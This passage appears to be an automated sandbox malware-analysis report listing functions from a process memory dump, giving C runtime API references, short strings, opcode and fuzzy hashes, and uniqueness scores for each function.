_write_multi_char.LIBCMTD ref: 0042D712
__mbtowc_l.LIBCMTD ref: 0042D781

Strings

|I@, xrefs: 0042CEDB

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: |I@
API String ID: 909868375-4123917818
Opcode ID: ce0a515c50171f4ab66647a9f82cb1111727f972df458f6065bf504c5fb3432f
Instruction ID: d90b15571ae8b27df31924a370b6735ac88fe0c0eeb62f0cf41213f4e91914b8
Opcode Fuzzy Hash: ce0a515c50171f4ab66647a9f82cb1111727f972df458f6065bf504c5fb3432f
Instruction Fuzzy Hash: 08A161B1E002289FDB24DF54DC81BAEB7B5BB84304F54819AE609A7281D7789E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042D08A Relevance: 16.7, APIs: 11, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042D08E
__get_printf_count_output.LIBCMTD ref: 0042D09C
__invalid_parameter.LIBCMTD ref: 0042D123
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042D138
_write_multi_char.LIBCMTD ref: 0042D6CB
_write_string.LIBCMTD ref: 0042D6E6
_write_multi_char.LIBCMTD ref: 0042D712
__mbtowc_l.LIBCMTD ref: 0042D781

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 2386203720-0
Opcode ID: f6fdbda4278cfe999a7691bf9326d632425861563eb0b1bfd2edaf6c200fe0f4
Instruction ID: 46c1e289cfd7f1d2efeaf126676567af8066ff9ac637783b83292659c8364a89
Opcode Fuzzy Hash: f6fdbda4278cfe999a7691bf9326d632425861563eb0b1bfd2edaf6c200fe0f4
Instruction Fuzzy Hash: 26A16FB0E002289FDB24DF55DC81BAEB774AB84308F54419AE61A7B282D77C5E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00415B4A Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

__un_inc.LIBCMTD ref: 00415D38
__inc.LIBCMTD ref: 00415D6A
__inc.LIBCMTD ref: 00415E29
__mbtowc_l.LIBCMTD ref: 00415E6B

Strings

c, xrefs: 00415EE5
, xrefs: 00415DA3

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __inc$__mbtowc_l__un_inc
String ID: $c
API String ID: 579247601-3797896886
Opcode ID: 7aeba25dffc0e0e604f0ad4e649b7d8cd7500e23eaff03bdf1507a45ca4b04f3
Instruction ID: 7661a224419c357cd643db258282cb3a94537d19a8ef71e9cbbc5b174757299c
Opcode Fuzzy Hash: 7aeba25dffc0e0e604f0ad4e649b7d8cd7500e23eaff03bdf1507a45ca4b04f3
Instruction Fuzzy Hash: 13917E70D05658DBCF24CB55D8946EEBB71AF85304F14C29AE829AB242D7399AC1CF09

Uniqueness

Uniqueness Score: -1.00%

Function 0040C165 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0040C179
__CrtIsValidHeapPointer.LIBCMTD ref: 0040C205
_CheckBytes.LIBCMTD ref: 0040C2B0
_CheckBytes.LIBCMTD ref: 0040C36A
_memset.LIBCMT ref: 0040C461
__free_base.LIBCMTD ref: 0040C46D

Strings

tDj, xrefs: 0040C1BB

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: tDj
API String ID: 25084783-2513116121
Opcode ID: 414656feb65bf69c6ca2f3c7f7ce935b562f2588ed0eb2dbeb97f67bd0aa27c4
Instruction ID: 8eb237e8b3e76c3b276032e99c5f0be8268a1ca0b911b6f57948685039f93025
Opcode Fuzzy Hash: 414656feb65bf69c6ca2f3c7f7ce935b562f2588ed0eb2dbeb97f67bd0aa27c4
Instruction Fuzzy Hash: A491C274A40204EBEB24DB84DDD2F6A7361AB48704F344269F504BB2C2D2B9EE41DB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00419B27 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100windowCOMMON

Download Yara Rule

APIs

__snwprintf_s.LIBCMTD ref: 00419BCB
__invoke_watson_if_oneof.LIBCMTD ref: 00419BFE
_wcscpy_s.LIBCMTD ref: 00419C40
__invoke_watson_if_error.LIBCMTD ref: 00419C49
___crtMessageBoxW.LIBCMTD ref: 00419C62
_raise.LIBCMTD ref: 00419C7B

Strings

8@, xrefs: 00419B4F

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
String ID: 8@
API String ID: 1485069716-2238867959
Opcode ID: a2d9857b4e5de196b01e5e85aed44aa97bf484e4be5f44e94f0021691c5d91ce
Instruction ID: a0e6228704f90a1b5d92b433c443d800cc2943bd3e227fb9ec62ec5e19184eb0
Opcode Fuzzy Hash: a2d9857b4e5de196b01e5e85aed44aa97bf484e4be5f44e94f0021691c5d91ce
Instruction Fuzzy Hash: BC3195B5E40218BBDB24DB95DC56FDA73B56B88704F0041AAF308762C5D6B86EC08F99

Uniqueness

Uniqueness Score: -1.00%

Function 00415B84 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

__un_inc.LIBCMTD ref: 00415D38
__inc.LIBCMTD ref: 00415D6A
__inc.LIBCMTD ref: 00415E29
__mbtowc_l.LIBCMTD ref: 00415E6B

Strings

, xrefs: 00415DA3
{, xrefs: 00415DAC

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __inc$__mbtowc_l__un_inc
String ID: ${
API String ID: 579247601-4046706400
Opcode ID: 370e87534c82169bc421d129c7a976222ce530f30173c7d6284ca63a9bff94c2
Instruction ID: 861e3bb48edc344ebca8c9b9b96498b6519f81f695dacb0d8c0f843b05c8834c
Opcode Fuzzy Hash: 370e87534c82169bc421d129c7a976222ce530f30173c7d6284ca63a9bff94c2
Instruction Fuzzy Hash: 04418FB4D05758DBCF24DBA5D8446EEBB71AF85304F14C1ABE429AB202D7389A81CF09

Uniqueness

Uniqueness Score: -1.00%

Function 00417C88 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417CE9
__aullrem.LIBCMT ref: 00417EB6
__aulldiv.LIBCMT ref: 00417ED8

Strings

9, xrefs: 00417EE9
0, xrefs: 00417CA4
', xrefs: 00417C88

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: c91bb5e826d2381bd184935de156133d9284543434d1a4f0515eb28ed838d2cd
Instruction ID: 8a732f80bf7e15ae246790a5bdb4edcddbd1898448b14bacab98d42e29e59a24
Opcode Fuzzy Hash: c91bb5e826d2381bd184935de156133d9284543434d1a4f0515eb28ed838d2cd
Instruction Fuzzy Hash: EF41D071A082299FDB64DF58D989BEEB7B5BF44300F1485DAE009AB241C7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00424797 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004247F8
__aullrem.LIBCMT ref: 004249C5
__aulldiv.LIBCMT ref: 004249E7

Strings

9, xrefs: 004249F8
0, xrefs: 004247B3
', xrefs: 00424797

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 20b189d9d595e5039478cb2e69d37d8618e75098b764b39dba7c44292bf47ba6
Instruction ID: 783fc7998b0e1e9f8675fecc8ba1dd40b19e3a899dcd0f825f7970667af24a8a
Opcode Fuzzy Hash: 20b189d9d595e5039478cb2e69d37d8618e75098b764b39dba7c44292bf47ba6
Instruction Fuzzy Hash: 7241F5B1E15229DFDB24CF58E899BAEB7B5FB84304F6485DAD058A7240C7389E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00415F2A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00415F89
__inc.LIBCMTD ref: 00415FBC
_isxdigit.LIBCMTD ref: 004160DD
__hextodec.LIBCMTD ref: 00416110
_isdigit.LIBCMTD ref: 00416136
__inc.LIBCMTD ref: 00416220
__un_inc.LIBCMTD ref: 00416244

Strings

0, xrefs: 00415F6F
p, xrefs: 004160CF

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __inc$__hextodec__un_inc_isdigit_isxdigit
String ID: 0$p
API String ID: 500523077-2059906072
Opcode ID: 8c6a8f2a7e76587e08a93b95287f9892c24ccc4b680948073a30ea28a5f56d74
Instruction ID: 3d43cb38357ea1fcec620b8d40d400c1cb4abc9bc8919d430c314b87c850dc95
Opcode Fuzzy Hash: 8c6a8f2a7e76587e08a93b95287f9892c24ccc4b680948073a30ea28a5f56d74
Instruction Fuzzy Hash: 8D415FB5D042588ADF25CFA5C8547EEBBB2AF45304F2481EFD41966202D3399AC1CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00414F01 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 00414F68
__set_error_mode.LIBCMTD ref: 00414F77
_strlen.LIBCMT ref: 00414FB4

Strings

jjj, xrefs: 00414F50
H, xrefs: 00414F58
t/j, xrefs: 00414FA1

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __set_error_mode$_strlen
String ID: jjj$t/j$H
API String ID: 3008368703-1478387210
Opcode ID: df32b8b76767d0d70547ac0e345b241c6897c4b56791d75b23dbf41d904a95e0
Instruction ID: 0013b58c02947ada93992de904b3ad49ffb0269ce90f0622dae64b12c05e3e5f
Opcode Fuzzy Hash: df32b8b76767d0d70547ac0e345b241c6897c4b56791d75b23dbf41d904a95e0
Instruction Fuzzy Hash: AC21F874900208FBDF24DB98D945BEE33B0EB85315F10422AE50656391D3399F92DB8E

Uniqueness

Uniqueness Score: -1.00%

Function 00417C75 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417CE9
__aullrem.LIBCMT ref: 00417EB6
__aulldiv.LIBCMT ref: 00417ED8

Strings

9, xrefs: 00417EE9
0, xrefs: 00417CA4

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 3a6ef35462b9141f830e6dcc3552d0796590c02247316c3bba0d83f3e3a2e5ec
Instruction ID: 03384e6ef66abd28abc33e6d130ec155676d446fbf00550f488dbfabec6ee73a
Opcode Fuzzy Hash: 3a6ef35462b9141f830e6dcc3552d0796590c02247316c3bba0d83f3e3a2e5ec
Instruction Fuzzy Hash: 0341E071A082299FDB64CF48D989BEEB7B5BB44300F1485DAE049AB241C7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00424784 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004247F8
__aullrem.LIBCMT ref: 004249C5
__aulldiv.LIBCMT ref: 004249E7

Strings

9, xrefs: 004249F8
0, xrefs: 004247B3

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 56d1e99e74ec0093ff5cdec6c7b3fc0a39694b9d90521717cd4645ed4784e8a9
Instruction ID: 3aa16e972389cc8f2d13cd6d8b9439bdce5eed235b394c60e83923b89cbe23eb
Opcode Fuzzy Hash: 56d1e99e74ec0093ff5cdec6c7b3fc0a39694b9d90521717cd4645ed4784e8a9
Instruction Fuzzy Hash: FF4106B1E15229DFEB24CF58E899BAEB7B5FB84304F6481DAD058A7240C7385E84CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0042D359 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D3C0
__aullrem.LIBCMT ref: 0042D590
__aulldiv.LIBCMT ref: 0042D5B2

Strings

9, xrefs: 0042D5C3
', xrefs: 0042D359

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 1472d24e74162a8fa1848ba1d4a97eee553a21331b8e48d52ce732f6fda1182e
Instruction ID: 335a5208eb552df639c4b6787006f3b0eec45df30602ea441174971ec9387533
Opcode Fuzzy Hash: 1472d24e74162a8fa1848ba1d4a97eee553a21331b8e48d52ce732f6fda1182e
Instruction Fuzzy Hash: 644118B1E00129AFDB24CF48D941BAEB7B4FF85318F5041DAD149AB241D778AE81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00416057 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 004160A5
_isxdigit.LIBCMTD ref: 004160DD
__hextodec.LIBCMTD ref: 00416110

Strings

p, xrefs: 004160CF
+, xrefs: 00416070

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __hextodec__inc_isxdigit
String ID: +$p
API String ID: 3003077261-1790238857
Opcode ID: 1768e2c04ca5d38e3880cd68fb85d38554886d63ae32f8ac7495dd393a4b287f
Instruction ID: 7aa471e1cbe43a940f40220522d13d408c21d4bbb0410b73f04b2600f6a63bf8
Opcode Fuzzy Hash: 1768e2c04ca5d38e3880cd68fb85d38554886d63ae32f8ac7495dd393a4b287f
Instruction Fuzzy Hash: 99315075D042598ACF25CFA9C8543EEBF71AF05308F1581DEC84966302D2399AC5CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0041E180 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

__raise_exc.LIBCMTD ref: 0041E1A1

Part of subcall function 0041E770: __raise_exc_ex.LIBCMTD ref: 0041E78F

__umatherr.LIBCMTD ref: 0041E1F6

Part of subcall function 0041EAB0: __ctrlfp.LIBCMTD ref: 0041EB00

__ctrlfp.LIBCMTD ref: 0041E21A

Strings

RB, xrefs: 0041E208
Q., xrefs: 0041E1AC

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __ctrlfp$__raise_exc__raise_exc_ex__umatherr
String ID: Q.$RB
API String ID: 3448981373-1859500299
Opcode ID: 703ed5533ec37675597827cb863c23683db228efb67d50dd3c9634e2b908bb8d
Instruction ID: 9e66f809230962986ab13ccee4bf46c56d22bee756055651ab3b9d7c870abd16
Opcode Fuzzy Hash: 703ed5533ec37675597827cb863c23683db228efb67d50dd3c9634e2b908bb8d
Instruction Fuzzy Hash: B111A5FA800104DBCF14EF95DCC6A967374BF48304F0446DEED454B18ADA35D9A8CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040A01D Relevance: 7.6, APIs: 5, Instructions: 127COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0040A0C5

Part of subcall function 0040E560: __encode_pointer.LIBCMTD ref: 0040E641

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: 39af7efe7b4ae5560a8d7de73a91b76fab27153420455194a2bbf7fb36009945
Instruction ID: be53780e8f9215d43b7a453dff63346e01beffbfb6db9cd136526e513ebbd221
Opcode Fuzzy Hash: 39af7efe7b4ae5560a8d7de73a91b76fab27153420455194a2bbf7fb36009945
Instruction Fuzzy Hash: 2741F835C04708D6CB21BF39DA4616E77B0FF95344F108A7AF88876291EB388959D357

Uniqueness

Uniqueness Score: -1.00%

Function 00426C54 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00426CB3
_memset.LIBCMT ref: 00426D3C
__invalid_parameter.LIBCMTD ref: 00426D9B

Strings

P, xrefs: 00426DB0

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P
API String ID: 2178901135-3110715001
Opcode ID: ce52390de37a75aadba80e2a556d5f5e1fc91c9a64ff4a5540ae425abe92fa39
Instruction ID: 93d6a45c6dabd027ba59f653e104e253db1e13b22f9be478a63bc3bbc266fb85
Opcode Fuzzy Hash: ce52390de37a75aadba80e2a556d5f5e1fc91c9a64ff4a5540ae425abe92fa39
Instruction Fuzzy Hash: 0C418B30F0421ADBCF14DF68D8857AE7771FB40318F21866AE8252A3C1C7799991CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0042D346 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D3C0
__aullrem.LIBCMT ref: 0042D590
__aulldiv.LIBCMT ref: 0042D5B2

Strings

9, xrefs: 0042D5C3

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 81f37cd9a32adf1ebe7410e2ed683f8ce0c381471b5eb519264b6062817a8f53
Instruction ID: c92191110da9ef9595996caf585c38ee56bdb983e8138dac546f19b6aa602d00
Opcode Fuzzy Hash: 81f37cd9a32adf1ebe7410e2ed683f8ce0c381471b5eb519264b6062817a8f53
Instruction Fuzzy Hash: D14129B1E00129AFDB24CF48D941BAEB7B4FF85318F50419AD149AB241D7789E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00417CBD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417CE9
__aullrem.LIBCMT ref: 00417EB6
__aulldiv.LIBCMT ref: 00417ED8

Strings

9, xrefs: 00417EE9

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 8d47da5a25c8c3fb6245b3c6c35898d09e61752605f3cd8a65848fac599894ac
Instruction ID: a15a3781911187d424e88a164e589e18004f7fefacadc04b094edb4d5cd065d5
Opcode Fuzzy Hash: 8d47da5a25c8c3fb6245b3c6c35898d09e61752605f3cd8a65848fac599894ac
Instruction Fuzzy Hash: BB41C071A086299FDB64DF58D989BEEB7B5BF84300F14859AE009A7240D7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 004247CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004247F8
__aullrem.LIBCMT ref: 004249C5
__aulldiv.LIBCMT ref: 004249E7

Strings

9, xrefs: 004249F8

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 3aad3dc8a9b47346cc6ceff18c977e80328ceb1c0a6bb692c7a6b765ebe3fd3b
Instruction ID: 185953f4ad4aab8cc6952ca0c4b7aa54de8b776bab8af0afc7382129c6329dca
Opcode Fuzzy Hash: 3aad3dc8a9b47346cc6ceff18c977e80328ceb1c0a6bb692c7a6b765ebe3fd3b
Instruction Fuzzy Hash: 1F41F5B1E15229DFEB24CF58EC99BAEB7B5FB84300F60859AD059A7240C7385E80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0042D394 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D3C0
__aullrem.LIBCMT ref: 0042D590
__aulldiv.LIBCMT ref: 0042D5B2

Strings

9, xrefs: 0042D5C3

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 71535bd1d9b43ef99e0f14b376a2f35d756b279c7f826484d7f7d9d29e67893e
Instruction ID: 4cd07ee02c765ac12f2c9650c9b1ec0d04fcd35c6de211ecfbaec52e47c7a5d1
Opcode Fuzzy Hash: 71535bd1d9b43ef99e0f14b376a2f35d756b279c7f826484d7f7d9d29e67893e
Instruction Fuzzy Hash: E14117B1E00129AFDB24CF48DD81BAEB7B5FF85314F508199D149AB241C778AE81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00417C6C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417CE9
_get_int64_arg.LIBCMTD ref: 00417D11
__aullrem.LIBCMT ref: 00417EB6
__aulldiv.LIBCMT ref: 00417ED8

Strings

9, xrefs: 00417EE9

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 54fa5f8f3c4a398f0f0da1f270b3f2d67035bb6a63d27f1b553d750da698c1f0
Instruction ID: a830ad176bb28efead27608f99f27bf684fb603f0731d72cc43e52f8a26c9628
Opcode Fuzzy Hash: 54fa5f8f3c4a398f0f0da1f270b3f2d67035bb6a63d27f1b553d750da698c1f0
Instruction Fuzzy Hash: 4741D0B1A086299FDB64DF58D989BEEB7B5BF84300F1085DAE009A7240D7389EC1CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0042477B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004247F8
_get_int64_arg.LIBCMTD ref: 00424820
__aullrem.LIBCMT ref: 004249C5
__aulldiv.LIBCMT ref: 004249E7

Strings

9, xrefs: 004249F8

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 52b005b8652712b5cc186a8cbb8ae1b575b73861d165fe10f209c9cdbacbc633
Instruction ID: f63e7d1530ab7167b7f56f2ed6e3e7a3292226683cde32d245114bd1439bac5d
Opcode Fuzzy Hash: 52b005b8652712b5cc186a8cbb8ae1b575b73861d165fe10f209c9cdbacbc633
Instruction Fuzzy Hash: 4341F4B1E15229DFDB24CF58EC99BAEB7B5FB84300F60819AD059A7240C7389E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0042D33D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D3C0
_get_int64_arg.LIBCMTD ref: 0042D3E8
__aullrem.LIBCMT ref: 0042D590
__aulldiv.LIBCMT ref: 0042D5B2

Strings

9, xrefs: 0042D5C3

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 412ee453418d5e27bb26fd0ab4aadf1f503cc93d777e962b056210ca1108c079
Instruction ID: 2175fae85f8325b2275d18902a129ce1fa736e7f50fa9dffbfb5bbb35a3d4432
Opcode Fuzzy Hash: 412ee453418d5e27bb26fd0ab4aadf1f503cc93d777e962b056210ca1108c079
Instruction Fuzzy Hash: 3941F6B1E00129AFDB24CF48D981B9EB7B4BF85318F5041DAD149AB201D778AE81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA00 Relevance: 6.1, APIs: 4, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

___dtold.LIBCMTD ref: 0041FA1A
_$I10_OUTPUT.LIBCMTD ref: 0041FA42
_wcscpy_s.LIBCMTD ref: 0041FA82

Part of subcall function 0040D690: __invalid_parameter.LIBCMTD ref: 0040D702

__invoke_watson_if_error.LIBCMTD ref: 0041FA8B

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID:
API String ID: 289039318-0
Opcode ID: 88a28758062ff0eb752c0fe12df8a3839820717691f12d3eb2e7d625785ccabe
Instruction ID: 49cef2e8bf3cc0c93cb2118f1aa081fa37fc0b19371ed151ad594522c00598cd
Opcode Fuzzy Hash: 88a28758062ff0eb752c0fe12df8a3839820717691f12d3eb2e7d625785ccabe
Instruction Fuzzy Hash: 47214FB5A003089BCB04DF65DC82EDEB7F4AF8C704F108569F80567385E634D955CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00415907 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 00415ABF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416AC6

Strings

n, xrefs: 00415AEA

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

